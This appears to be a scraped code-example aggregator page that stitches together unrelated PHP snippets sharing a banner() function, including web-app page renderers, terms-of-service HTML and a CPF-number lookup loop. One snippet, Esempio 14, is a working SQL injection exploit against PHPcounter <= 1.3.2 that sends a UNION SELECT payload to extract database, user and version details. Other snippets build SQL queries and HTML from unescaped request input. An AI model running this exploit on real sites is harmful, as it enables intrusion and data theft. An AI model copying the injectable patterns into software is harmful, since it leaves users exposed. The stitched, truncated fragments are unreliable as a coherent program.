accurate, complete registration information.  Your registration must be done using your real email address \nand accurate information.  Each registration is for your personal use only and not on behalf of any other person or entity. \nWe do not permit (a) any other person using the registered sections under your name; or (b) access through a single name \nbeing made available to multiple users on a network.  You are responsible for preventing such unauthorized use.\n\n</div>\n<h3>\tErrors, Corrections and Changes</h3>\n<div class='info'>\nWe do not represent or warrant that the Site will be error-free, free of viruses or other harmful components, or that \ndefects will be corrected.  We do not represent or warrant that the information available on or through the Site will be \ncorrect, accurate, timely or otherwise reliable.  We may make changes to the features, functionality or content of the Site \nat any time.  We reserve the right in our sole discretion to edit or delete any documents, information or other content \nappearing on the Site.\n</div>\n<h3>\tThird Party Content</h3>\n<div class='info'>\nOur site provides access to Third party content.  We are not responsible for and assume no liability for any mistakes, \nmisstatements of law, defamation, omissions, falsehood, obscenity, pornography or profanity in the statements, opinions, \nrepresentations or any other form of content on the Site.  You understand that the information and opinions in the third \nparty content represent solely the thoughts of the author and is neither endorsed by nor does it necessarily reflect our belief.\n</div>\n<h3>\tUnlawful Activity</h3>\n\n<div class='info'>\nWe reserve the right to investigate complaints or reported violations of this Agreement and to take any action we deem \nappropriate, including but not limited to reporting any suspected unlawful activity to law enforcement officials, regulators, \nor other third parties and disclosing any information necessary or appropriate to such persons or entities relating to your \nprofile, email addresses, usage history, posted materials, IP addresses and traffic information.\n</div>\n<h3>\tIndemnification</h3>\n<div class='info'>\nYou agree to indemnify, defend and hold us and our partners, agents, officers, directors, employees, subcontractors, \nsuccessors, assigns, third party suppliers of information and documents, attorneys, advertisers, product and service \nproviders, and affiliates (collectively, \"Affiliated Parties\") harmless from any liability, loss, claim and expense, \nincluding reasonable attorney's fees, related to your violation of this Agreement or use of the Site. \n</div>\n<h3>\tNontransferable</h3>\n<div class='info'>\nYour right to use the Site is not transferable or assignable. Any password or right given to you to obtain information or \ndocuments is not transferable or assignable.\n</div>\n<h3>\tDisclaimer</h3>\n\n<div class='info'>\nTHE INFORMATION, CONTENT AND DOCUMENTS FROM OR THROUGH THE SITE ARE PROVIDED \"AS-IS,\" \"AS AVAILABLE,\" WITH 'ALL FAULTS', \nAND ALL WARRANTIES, EXPRESS OR IMPLIED, ARE DISCLAIMED (INCLUDING BUT NOT LIMITED TO THE DISCLAIMER OF ANY IMPLIED WARRANTIES \nOF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE). THE INFORMATION AND SERVICES MAY CONTAIN BUGS, ERRORS, PROBLEMS OR \nOTHER LIMITATIONS. WE AND OUR AFFILIATED PARTIES HAVE NO LIABILITY WHATSOEVER FOR YOUR USE OF ANY INFORMATION OR SERVICE, \nEXCEPT AS PROVIDED IN SECTION 17(b). IN PARTICULAR, BUT NOT AS A LIMITATION THEREOF, WE AND OUR AFFILIATED PARTIES ARE NOT \nLIABLE FOR ANY INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES (INCLUDING DAMAGES FOR LOSS OF BUSINESS, LOSS OF PROFITS, \nLITIGATION, OR THE LIKE), WHETHER BASED ON BREACH OF CONTRACT, BREACH OF WARRANTY, TORT (INCLUDING NEGLIGENCE), PRODUCT \nLIABILITY OR OTHERWISE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE NEGATION AND LIMITATION OF DAMAGES SET FORTH \nABOVE ARE FUNDAMENTAL ELEMENTS OF THE BASIS OF THE BARGAIN BETWEEN US AND YOU. THIS SITE AND THE PRODUCTS, SERVICES, DOCUMENTS \nAND INFORMATION PRESENTED WOULD NOT BE PROVIDED WITHOUT SUCH LIMITATIONS. NO ADVICE OR INFORMATION, WHETHER ORAL OR WRITTEN, \nOBTAINED BY YOU FROM US THROUGH THE SITE OR OTHERWISE SHALL CREATE ANY WARRANTY, REPRESENTATION OR GUARANTEE NOT EXPRESSLY \nSTATED IN THIS AGREEMENT. \n\nALL RESPONSIBILITY OR LIABILITY FOR ANY DAMAGES CAUSED BY VIRUSES CONTAINED WITHIN THE ELECTRONIC FILE CONTAINING A FORM OR \nDOCUMENT IS DISCLAIMED. \n</div>\n<h3>\tLimitation of Liability</h3>\n<div class='info'>\n\t(a)\tWe and any Affiliated Party shall not be liable for any loss, injury, claim, liability, or damage of any kind \n\tresulting in any way from (a) any errors in or omissions from the Site or any  services or products obtainable therefrom, \n\t(b) the unavailability or interruption of the Site or any features thereof, (c) your use of the Site, (d) the content \n\tcontained on the Site, or (e) any delay or failure in performance beyond the control of a Covered Party.\n\n(b)\tTHE AGGREGATE LIABILITY OF US AND THE AFFILIATED PARTIES IN CONNECTION WITH ANY CLAIM ARISING OUT OF OR RELATING TO THE \nSITE AND/OR THE PRODUCTS, INFORMATION, DOCUMENTS AND SERVICES PROVIDED HEREIN OR HEREBY SHALL NOT EXCEED \$100 AND THAT AMOUNT \nSHALL BE IN LIEU OF ALL OTHER REMEDIES WHICH YOU MAY HAVE AGAINST US AND ANY AFFILIATED PARTY.\n</div>\n<h3>\tUse of Information</h3>\n<div class='info'>\nWe reserve the right, and you authorize us, to the use and assignment of all information regarding Site uses by you and all \ninformation provided by you in any manner consistent with our Privacy Policy. All remarks, suggestions, ideas, graphics, or \nother information communicated by you to us (collectively, a \"Submission\") will forever be our property. We will not be \nrequired to treat any Submission as confidential, and will not be liable for any ideas (including without limitation, product, \nservice or advertising ideas) and will not incur any liability as a result of any similarities that may appear in our future \nproducts, services or operations. Without limitation, we will have exclusive ownership of all present and future existing rights \nto the Submission of every kind and nature everywhere. We will be entitled to use the Submission for any commercial or other \npurpose whatsoever, without compensation to you or any other person sending the Submission. You acknowledge that you are \nresponsible for whatever material you submit, and you, not us, have full responsibility for the message, including its \nlegality, reliability, appropriateness, originality, and copyright.\n</div>\n<h3>\tThird-Party Services</h3>\n\n<div class='info'>\nWe may allow access to or advertise certain third-party product or service providers (\"Merchants\") from which you may \npurchase certain goods or services. You understand that we do not operate or control the products or services offered by \nMerchants. Merchants are responsible for all aspects of order processing, fulfillment, billing and customer service. We are \nnot a party to the transactions entered into between you and Merchants. You agree that use of or purchase from such Merchants \nis AT YOUR SOLE RISK AND IS WITHOUT WARRANTIES OF ANY KIND BY US, EXPRESSED, IMPLIED OR OTHERWISE INCLUDING WARRANTIES OF TITLE, \nFITNESS FOR PURPOSE, MERCHANTABILITY OR NON-INFRINGEMENT. UNDER NO CIRCUMSTANCES ARE WE LIABLE FOR ANY DAMAGES ARISING FROM THE \nTRANSACTIONS BETWEEN YOU AND MERCHANTS OR FOR ANY INFORMATION APPEARING ON MERCHANT SITES OR ANY OTHER SITE LINKED TO OUR SITE.\n</div>\n<h3>\tThird-Party Merchant Policies</h3>\n<div class='info'>\nAll rules, policies (including privacy policies) and operating procedures of Merchants will apply to you while on any Merchant \nsites. We are not responsible for information provided by you to Merchants. We and the Merchants are independent contractors \nand neither party has authority to make any representations or commitments on behalf of the other.\n</div>\n<h3>\tPrivacy Policy</h3>\n<div class='info'>\nOur Privacy Policy, as it may change from time to time, is a part of this Agreement.  You must review this Privacy Policy by \nclicking on<a href=\"privacy.php\"> this</a> link.\n\n</div>\n<h3>\tPayments</h3>\n<div class='info'>\nYou represent and warrant that if you are purchasing something from us or from Merchants that (i) any credit information you \nsupply is true and complete, (ii) charges incurred by you will be honored by your credit card company, and (iii) you will pay \nthe charges incurred by you at the posted prices, including any applicable taxes.\n</div>\n<h3>\tSecurities Laws</h3>\n<div class='info'>\nThe Site may include statements concerning our operations, prospects, strategies, financial condition, future economic \nperformance and demand for our products or services, as well as our intentions, plans and objectives (particularly with \nrespect to product and service offerings), that are forward-looking statements. These statements are based upon a number of \nassumptions and estimates which are subject to significant uncertainties, many of which are beyond our control. When used on \nour Site, words like \"anticipates,\" \"expects,\" \"believes,\" \"estimates,\" \"seeks,\" \"plans,\" \"intends,\" \"will\" \nand similar expressions are intended to identify forward-looking statements designed to fall within securities law safe \nharbors for forward-looking statements. The Site and the information contained herein does not constitute an offer or a \nsolicitation of an offer for sale of any securities. None of the information contained herein is intended to be, and shall \nnot be deemed to be, incorporated into any of our securities-related filings or documents.\n</div>\n<h3>\tLinks to other Web Sites</h3>\n<div class='info'>\n\nThe Site contains links to other Web sites. We are not responsible for the content, accuracy or opinions expressed in such Web \nsites, and such Web sites are not investigated, monitored or checked for accuracy or completeness by us. Inclusion of any linked \nWeb site on our Site does not imply approval or endorsement of the linked Web site by us. If you decide to leave our Site and \naccess these third-party sites, you do so at your own risk.\n</div>\n\n<h3>\tInformation and Press Releases</h3>\n<div class='info'>\nThe Site contains information and press releases about us. We disclaim any duty or obligation to update this information or \nany press releases. Information about companies other than ours contained in the press release or otherwise, should not be \nrelied upon as being provided or endorsed by us.\n</div>\n<h3>\tLegal Compliance</h3>\n<div class='info'>\nYou agree to comply with all applicable domestic and international laws, statutes, ordinances and regulations regarding your \nuse of the Site and the Content and Materials provided therein.\n</div>\n</div>\n\n";
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    $message .= "</body>\n</html>\n";
    echo $message;
}
function abrirArquivotxt($arquivo, $opcoes)
{
    if (isset($arquivo) && !empty($arquivo)) {
        $ponteiro = fopen($arquivo, "r");
        while (!feof($ponteiro)) {
            $cpf = str_replace('-', '', str_replace('.', '', !is_null(fgets($ponteiro, 4096)) ? str_replace("\n", '', str_replace("\r", '', fgets($ponteiro, 4096))) : NULL));
            pesquisa(isset($cpf) && !empty($cpf) ? $cpf : NULL, $opcoes);
        }
        fclose($ponteiro);
    } else {
        banner(" ALGO DE ERRO NA OPÇÃO ARQUIVO ");
    }
}
Esempio n. 9
0
function contentheader()
{
    echo '<div id="header">';
    echo '<div class="frame">';
    echo '<div id="top_section">';
    banner("");
    menu("");
    echo '</div>';
    echo '<div id="upper_section" class="middletext">';
    ad();
    //user();
    echo '</div>';
    echo '</div>';
    echo '</div>';
}
Esempio n. 10
0
function notFound($firstname, $lastname)
{
    head();
    echo '<body>
	            <div id = "frame">';
    banner();
    echo '<div id = "main">
                <h1>No Results for ' . $firstname . ' ' . $lastname . '</h1>';
    searchAll();
    searchKevin();
    echo '</div>';
    validators();
    echo '</div>
              </body>
              </html>';
}
Esempio n. 11
0
function search_display()
{
    if (session_id() == "") {
        session_start();
    }
    logger($script_path . " index start:");
    validate_access_webnotes();
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $hostname = $config_params['hostname'];
    $watch_demo = $config_params['watch_demo'];
    $docroot = $config_params['docroot'];
    $debug = $config_params['debug'];
    $header = header_html();
    //
    $footer = $config_params['footer'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $css = $config_params['css'];
    $google_analytics = $config_params['google_analytics'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $cookie_name = $config_params['cookie_name'];
    $ep4 = $config_params['ep4'];
    $docroot = $_SERVER['DOCUMENT_ROOT'];
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    print $doctype;
    print "<html {$html_attribute} >";
    $message = "\n\n<head>\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{$css}\" />\n\n<title>Twextra- When you NEED more than 140 characters</title>";
    echo $message;
    $scripts = '';
    $scripts .= "<script type='text/javascript' src='/scripts/jquery/jquery-1.2.6.js'></script>\n";
    echo $scripts;
    $message = "\n\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/favicon.ico\" />\n\n</head>\n\n<body>\n\n<div class='wrapper'>\n\n<div class='page'>";
    echo $message;
    $banner = banner($screen_name, 'banner_index');
    //(user, banner_class)
    echo $banner;
    $message = "<div style='float:left;clear:both;margin-left:auto;margin-right:auto;width:800px;'><form method='post' \n\naction='/webnotes/wrouter.php' accept-charset=\"utf-8\" >\n\n\t<input type='hidden' name='wroute' id='wroute' value='searchdisplay'> </input>\n\n\n\n\t<input id='tag' name='tag' style='width: 768px; border:solid black 1px;'></input> \n\n<div><input type='submit' name='save' id='save' value='Search' class='button'></input></div>\n\n\n\n</form></div>";
    echo $message;
    echo $footer;
    $message = "\n\n</div>\n\n</div>\n\n</body>\n\n</html>";
    echo $message;
}
Esempio n. 12
0
<?

ob_start();
if(cfg('memcache/enabled'))
{
  cache_connect();
  if(!object('memcache'))
  {
    banner('Could not connect to memcache server: '.cfg('memcache/server'));
  }
  else
  {
    $stats = object('memcache')->getStats(); 
    print('<div class="smallwin banner">');
    print('Memcached Version: '.$stats['version'].', ');     
    print('Current Connections: '.$stats['curr_connections'].'<br/>');     
    print('Cache Size: '.number_format($stats['limit_maxbytes'] / (1024*1024), 2).' MB total, '.number_format(($stats['limit_maxbytes']-$stats['bytes']) / (1024*1024), 2).' MB free<br/>');     
    print('Hits: '.ceil($stats['get_hits'] / (1)).', Misses: '.ceil($stats['get_misses'] / (1)).', Evictions: '.ceil($stats['evictions'] / 1).'<br/>');     
    print('</div>');
  }
}
if($GLOBALS['errors']['memcache'] != '')
{
  ?><div class="fail banner">
    Error: <?php 
echo $GLOBALS['errors']['memcache'];
?>
  </div><? 
}
$memcache_status = ob_get_clean();
Esempio n. 13
0
function hook_philgo_banner_uninstall()
{
    banner()->uninstall();
}
Esempio n. 14
0
#!/usr/bin/php -q
<?php 
// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/
error_reporting(0);
$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://', NULL, $host);
$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);
function banner()
{
    echo "[?] Usage: php {$argv['0']} http://example.com /cms\r\n";
    exit(0);
}
if (!($sock = fsockopen($host, 80))) {
    die("Socket Error\r\n");
}
$data .= "GET /{$path}/index.php?name={$isql} HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";
fputs($sock, $data);
while (!feof($sock)) {
    $content .= fgets($sock);
}
fclose($sock);
if (preg_match('/\\$(.+?)\\$/', $content, $out)) {
    print "[+] {$out['1']}\r\n";
Esempio n. 15
0
function notes_display()
{
    if (session_id() == "") {
        session_start();
    }
    logger($script_path . " index start:");
    validate_access_webnotes();
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $hostname = $config_params['hostname'];
    $watch_demo = $config_params['watch_demo'];
    $docroot = $config_params['docroot'];
    $debug = $config_params['debug'];
    $header = header_html();
    //
    $footer = $config_params['footer'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $css = $config_params['css'];
    $google_analytics = $config_params['google_analytics'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $cookie_name = $config_params['cookie_name'];
    $ep4 = $config_params['ep4'];
    $docroot = $_SERVER['DOCUMENT_ROOT'];
    $user = $_SESSION['user'];
    //??
    $user = 'raj4126';
    if ($_REQUEST['action'] == 'searchdisplay') {
        $tag = $_REQUEST['tag'];
        $model = new TwextraModel();
        $notes_all_array = $model->searchNote($user, $tag);
    } else {
        $model = new TwextraModel();
        $notes_all_array = $model->getNotesAll($user);
    }
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    print $doctype;
    print "<html {$html_attribute} >";
    $message = "\n\n<head>\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{$css}\" />\n\n<title>Twextra- When you NEED more than 140 characters</title>";
    echo $message;
    $scripts = '';
    $scripts .= "<script type='text/javascript' src='/scripts/jquery/jquery-1.2.6.js'></script>\n";
    echo $scripts;
    $message = "\n\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/favicon.ico\" />\n\n</head>\n\n<body>\n\n<div class='wrapper'>\n\n<div class='page'>";
    echo $message;
    $banner = banner($screen_name, 'banner_index');
    //(user, banner_class)
    echo $banner;
    $message = "<div style='clear:both;margin-left:auto;margin-right:auto;width:800px;'>\n\nYour webnotes are displayed below:";
    $message .= "<table class='w_display_table' >";
    $message .= "<tr class='w_display_tr' >\n\n<th class='w_display_th'>Note</th>\n\n<th class='w_display_th'>Tags</th>\n\n<th class='w_display_th'>Updated</th>\n\n<th class='w_display_th'>Actions</th></tr>";
    foreach ($notes_all_array as $entry) {
        $message .= "<tr class='w_display_tr' >\n\n    <td class='w_display_td'>{$entry['note']}</td>\n\n    <td class='w_display_td' >{$entry['tag']}</td>\n\n    <td class='w_display_td'>{$entry['created']}</td>\n\n    <td class='w_display_td'><a href={$hostname}/webnotes/wrouter.php?wid={$entry['wid']}&wroute=edit >Edit</a>\n\n        <span id='delete' style='color:blue;' onclick=_edit('{$hostname}',{$entry['wid']})>Delete</span>\n\n        <a href={$hostname}/webnotes/wrouter.php?wid={$entry['wid']}&wroute=share>Share</a>\n\n    </td></tr>";
    }
    $message .= "</table>";
    $message .= "</div>";
    echo $message;
    echo $footer;
    $message = "\n\n</div>\n\n</div>\n\n</body>\n\n</html>";
    echo $message;
}
// copyright header is strictly prohibited without
// written permission from the original author(s).
// -------------------------------------------------------
error_reporting(E_ALL);
$error = array();
require_once "../../maincore.php";
require_once THEMES . "templates/header.php";
include_once INFUSIONS . "pft_ts3/config/pft_ts3config.php";
include_once INFUSIONS . "pft_ts3/config/pft_ts3func.php";
include_once INFUSIONS . "pft_ts3/config/pft_ts3op.php";
opentable("Teamspeak 3 Viewer by PHPFusion-Tools.de");
echo "<table align='left' width='96%' cellspacing='0' cellpadding='0'>\r\n\t\t<tr>\r\n\t\t<td>";
?>
        <?php 
if (!isset($error[0])) {
    echo banner($info, $sinfo, $new);
}
?>
		<table align="left"><td><tr>
        <h3><a href="ts3server://<?php 
echo $ip;
?>
?port=<?php 
echo $port;
?>
">>> Connect!</a></h3>
		</td></tr></table>

        <?php 
if (!isset($error[0])) {
    echo useron($info, $sinfo, $new);
Esempio n. 17
0
<?php

include 'connection.php';
include 'funciones.php';
error_reporting(E_ERROR | E_WARNING | E_PARSE);
date_default_timezone_set('America/El_Salvador');
echo json_encode(array('subsecciones' => subseccion(1), 'contenidos' => caricaturap(), 'banner1' => banner(1, 1), 'banner2' => banner(1, 2), 'banner3' => banner(1, 3), 'bannerMovil' => banner(1, 'movil'), 'leidos' => leidos(1)));
Esempio n. 18
0
 *     ******
 *     * 12 *
 *     ******
 */
function banner($message)
{
    $decoration = '*';
    $prefix = $decoration . ' ';
    $postfix = ' ' . $decoration;
    $line_len = strlen($prefix) + count($message) + strlen($postfix);
    for ($i = 0; $i < $line_len; $i++) {
        echo $decoration;
    }
    echo '<br />';
    echo $prefix . implode($message) . $postfix;
    echo '<br />';
    for ($i = 0; $i < $line_len; $i++) {
        echo $decoration;
    }
    echo '<br />';
}
$message1 = array('H', 'i', ' ', 'e', 'v', 'e', 'r', 'y', 'o', 'n', 'e', ',', ' ', 'I', '\'', 'm', ' ', 'i', 'n', ' ', 't', 'h', 'e', ' ', 'C', 'I', 'S', '-', '2', '4', '5', '0', ' ', 'L', 'a', 'b', '!');
$message2 = array('H', 'e', 'l', 'l', 'o', ' ', 'e', 'v', 'e', 'r', 'y', 'b', 'o', 'd', 'y', ',', ' ', 'I', ' ', 'a', 'm', ' ', 'w', 'o', 'r', 'k', 'i', 'n', 'g', ' ', 'o', 'n', ' ', 't', 'h', 'e', ' ', 'C', 'I', 'S', '-', '2', '4', '5', '0', ' ', 'L', 'a', 'b', '.');
banner($message1);
banner($message2);
?>
 
    </p>
</body>
</html>
Esempio n. 19
0
function index($tweet = '', $error = '', $message_id = '')
{
    if (session_id() == "") {
        session_start();
    }
    logger($script_path . " index start:");
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $hostname = $config_params['hostname'];
    $watch_demo = $config_params['watch_demo'];
    $docroot = $config_params['docroot'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $header = header_html();
    //
    $footer = $config_params['footer'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $css = $config_params['css'];
    $google_analytics = $config_params['google_analytics'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $cookie_name = $config_params['cookie_name'];
    $ep4 = $config_params['ep4'];
    $show_maintenance_page = $config_params['show_maintenance_page'];
    $fb_app_id = $config_params['fb_app_id'];
    $search_count_offset = $config_params['search_count_offset'];
    if ($show_maintenance_page == 1) {
        maintenance_page();
    }
    if (isset($_REQUEST['screen_name_reply'])) {
        $screen_name_reply = $_REQUEST['screen_name_reply'];
    } else {
        $screen_name_reply = '';
    }
    if (isset($_REQUEST['message_id_reply'])) {
        $message_id_reply = $_REQUEST['message_id_reply'];
    } else {
        $message_id_reply = '';
    }
    logger($script_path . "  index page: ");
    logger($script_path . " cookie:", $_COOKIE);
    //---------------------------------------------------
    $model = new TwextraModel();
    $message_totals = $model->get_message_totals();
    //round to nearest thousand:
    $message_totals = $message_totals - $message_totals % 1000;
    //$message_totals = $message_totals - $search_count_offset;
    $message_totals = number_format($message_totals);
    //format into human readable form
    //---------------------------------------------------
    //get twitter credentials and store in session variables for use in banner
    if (isset($_COOKIE[$cookie_name])) {
        $controller = new TwextraController();
        $result_t = $controller->getTwCredentials($_COOKIE[$cookie_name]);
        //
        $screen_name = $result_t['screen_name'];
        logger($script_path . " result_t:", $result_t);
    }
    $script_path = __FUNCTION__;
    logger($script_path . "  session: ", $_SESSION);
    logger($script_path . "  request: ", $_REQUEST);
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        $model->saveStat();
    }
    //set error flag if a twitter error, or any other error
    if (isset($_REQUEST['error']) && $_REQUEST['error'] == 'twitter_error') {
        $error = "Twitter is returning an error right now. Please try again later. \n\t\tFollow <a href='http://twitter.com/twextradotcom' target='_blank' >@twextradotcom</a> for updates.";
    } else {
        if (isset($_REQUEST['error']) && $_REQUEST['error'] == 'ep4') {
            $error = $ep4;
        } else {
            if (isset($_REQUEST['error'])) {
                $error = urldecode($_REQUEST['error']);
            } else {
                if (isset($_REQUEST['signout'])) {
                    $error = "You are now signed out of Twextra, but you may still be signed in on Twitter.  " . $error;
                    $_SESSION['user'] = '';
                } else {
                    if (isset($_SESSION['error_size'])) {
                        $error = $_SESSION['error_size'];
                        unset($_SESSION['error_size']);
                    }
                }
            }
        }
    }
    if (isset($_SESSION['tweet'])) {
        $tweet = $_SESSION['tweet'];
        unset($_SESSION['tweet']);
    }
    if (!empty($screen_name)) {
        $twitter_checked = 'checked';
        $twextra_checked = '';
    } else {
        if (!empty($screen_name_reply)) {
            $twitter_checked = 'checked';
            $twextra_checked = '';
        } else {
            $twitter_checked = '';
            $twextra_checked = 'checked';
        }
    }
    if (!empty($message_id)) {
        $model = new TwextraModel();
        $result = $model->readTweet($message_id, false);
        //
        $tweet = $result['tweet'];
    } else {
        if ($screen_name_reply != '') {
            $tweet = '@' . $screen_name_reply . '&nbsp;';
        }
    }
    $docroot = $_SERVER['DOCUMENT_ROOT'];
    $useragent = $_SERVER['HTTP_USER_AGENT'];
    $useragent = strtolower($useragent);
    $useragent = "  " . $useragent;
    //so that strpos works fine..
    //	$blackberry = preg_match ( "/blackberry/i", $useragent );
    //	$iphone = preg_match ( "/iphone/i", $useragent );
    $blackberry = strpos($useragent, "blackberry");
    $iphone = strpos($useragent, "iphone");
    $symbian = strpos($useragent, "symbian");
    $android = strpos($useragent, "android");
    $nokia = strpos($useragent, "nokia");
    $samsung = strpos($useragent, "samsung");
    $sony = strpos($useragent, "sony");
    $vodafone = strpos($useragent, "vodafone");
    $nintendo = strpos($useragent, "nintendo");
    $sprint = strpos($useragent, "sprint");
    $playstation = strpos($useragent, "playstation");
    $mot = strpos($useragent, "mot");
    $docomo = strpos($useragent, "docomo");
    $palm = strpos($useragent, "palm");
    $avantgo = strpos($useragent, "avantgo");
    if ($blackberry || $iphone || $symbian || $android || $nokia || $samsung || $sony || $vodafone || $nintendo || $sprint || $playstation || $mot || $docomo || $palm || $avantgo) {
        $editor = 'editorI';
        $_SESSION['useragent'] = 'device';
    } else {
        $editor = 'editor';
        $_SESSION['useragent'] = 'desktop';
    }
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    print $doctype;
    print "<html {$html_attribute} >";
    echo header_html();
    $body_top = "<body>\n<div class='wrapper'>\n<div class='page'>";
    echo $body_top;
    if (!empty($error)) {
        $screen_name = '';
        $twitter_checked = '';
        $twextra_checked = 'checked';
    }
    $banner = banner($screen_name, 'banner_index');
    //(user, banner_class)
    echo $banner;
    logger("index/hostname:", $hostname);
    $message = '';
    ?>


<div class='p1main'>
<div class='p1main_inner'>
<div class='p1desc'>

<?php 
    //print any error messages here:
    if (!empty($error)) {
        ?>
<div class='p1main_form_label' id='p1main_form_label'
	style='border: solid 2px red; padding: 10px; background-color: pink; width: 744px; margin: 10px 0;'> 
	<?php 
        echo $error;
        ?>
	<a href='javascript: hide_message_status("p1main_form_label")'
	style='float: right; font-size: 0.8em;'>Close</a></div>
<?php 
    }
    ?>

<div style='float: left; width: 768px; padding-bottom: 10px;'>
<h4 class='p1main_form_label'>Type your message below:&nbsp;</h4>
<div style='font-size: 11px; float: left;'>(<a
	href=<?php 
    echo $hostname . '/howto.php';
    ?>
>Tips for Videos, Images, etc</a>)</div>

<br style='clear: both' />
</div>

<?php 
    $bookmarklet = "\n<div class='bookmarklet_outer' style='width: 300px;line-height: 150%;'>\n       <div>\n       <a class='bookmarklet_inner' href=\"javascript:(function(){_twextra_bookmarklet=document.createElement('SCRIPT');\n        _twextra_bookmarklet.type='text/javascript';_twextra_bookmarklet.src='http://twetest.com/scripts/twextra_bookmarklet.js?\n        x='+(Math.random());document.getElementsByTagName('head')[0].appendChild(_twextra_bookmarklet);})();\">\n        Twextra Bookmarklet</a>\n        </div>\n</div>";
    //echo $bookmarklet;
    ?>

<?php 
    //form and editor;
    ?>
<form method='post' action='/router.php' id='tweet_post'
	accept-charset="utf-8" class='p1form'><textarea class='ckeditor'
	id="<?php 
    echo $editor;
    ?>
" name="<?php 
    echo $editor;
    ?>
" rows="15"
	cols="100" style="width: 768px"><?php 
    echo $tweet;
    ?>
</textarea> <script type="text/javascript">
	CKEDITOR.replace( 'editor' );
</script> <input type='hidden' name='route' value='tweet_post'></input>
<input type='hidden' name='message_id_reply'
	value="<?php 
    echo $message_id_reply;
    ?>
"></input> <input type='hidden'
	name='message_id' value="<?php 
    echo $message_id;
    ?>
"></input>

<div class='p1form_buttons'><input type="submit" name="save" id="save"
	value="Post Message" class='button'></input></div><?php 
    //p1form_buttons;
    ?>

<?php 
    //show buttons:
    ?>
	
<div class='p1form_social_buttons'>
<div
	style='font-size: 18px; border-bottom: 1px solid black; margin-bottom: 10px;'>Post
message to:</div>

<div style='margin-top: 5px;'><input type="radio" name="social"
	value="twitter" <?php 
    echo $twitter_checked;
    ?>
	style="margin-left: 0px; float: left; margin-top: 5px; margin-right: 10px;"></input>
<img src="/images/twitter_100px.png" /></div>

<div style='margin-top: 5px; margin-bottom: 5px;'><input type="radio"
	name="social" value="linkedin"
	style="margin-left: 0px; float: left; margin-top: 7px; margin-right: 10px;"></input>
<img src="/images/linkedin_100px.png" /></div>

<div style='margin-top: 5px; margin-bottom: 5px;'><input type="radio"
	name="social" value="twextra" <?php 
    echo $twextra_checked;
    ?>
	style="margin-left: 0px; float: left; margin-top: 7px; margin-right: 10px;"></input>
<img src="/images/twextra_100px.png" /></div>

</div>
</form>

<br style='clear: both;' />

<?php 
    $message .= "<div class='p1_buttons' >";
    //tweet button
    $message .= "<div class='p1_twitter_button' style='float:right;' >";
    //p1_twitter_button
    $message .= '<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
		>Tweet</a><script type="text/javascript" 
		src="http://platform.twitter.com/widgets.js"></script>';
    $message .= "</div>";
    //p1_twitter_button
    //facebook like button
    $message .= "<div class='p1_facebook_button' style='float:right;' >";
    //p1_facebook_button
    $message .= "\n<fb:like href=\"http://twextra.com\" layout=\"button_count\" show_faces=\"false\" width=\"100px\"></fb:like>\n\n    <div id=\"fb-root\"></div>\n    <script>\n      window.fbAsyncInit = function() {\n        FB.init({appId: '{$fb_app_id}', status: true, cookie: true,  \n                 xfbml: true});\n      };\n      (function() {\n        var e = document.createElement('script');\n        e.type = 'text/javascript';\n        e.src = document.location.protocol +\n          '//connect.facebook.net/en_US/all.js';\n        e.async = true;\n        document.getElementById('fb-root').appendChild(e);\n      }());\n    </script>\n\t\t";
    $message .= "</div>";
    //p1_facebook_button
    //$message .= "<br style='clear:both;' />";
    $message .= "</div>";
    //p1_buttons
    $message .= "&nbsp;&nbsp;&nbsp;&nbsp;<h4 style='text-align:center'>Over {$message_totals} messages created</h4>";
    echo $message;
    ?>
	
</div>
</div>
</div>
<!-- p1main -->
<a
	style='margin: 20px auto 20px auto; display: block; text-align: center;'
	href='http://twitter.com/melaniejane88'> <img src='/images/twex.jpg'
	style='width: 600px; height: 100px' /></a>
<?php 
    echo $footer;
    ?>
</div>
</div>
<?php 
    echo $godaddy_analytics;
    ?>
</body>
</html>
<?php 
}
Esempio n. 20
0
    $subvalidate = mysql_query("SELECT idSubseccion, nombre, url from subseccion where url='{$subseccion}' and idSeccion=" . $secinfo['id']);
    if ($subvalidate) {
        $subprev = mysql_fetch_row($subvalidate);
        $subinfo = array('id' => $subprev[0], 'nombre' => $subprev[1], 'url' => $subprev[2]);
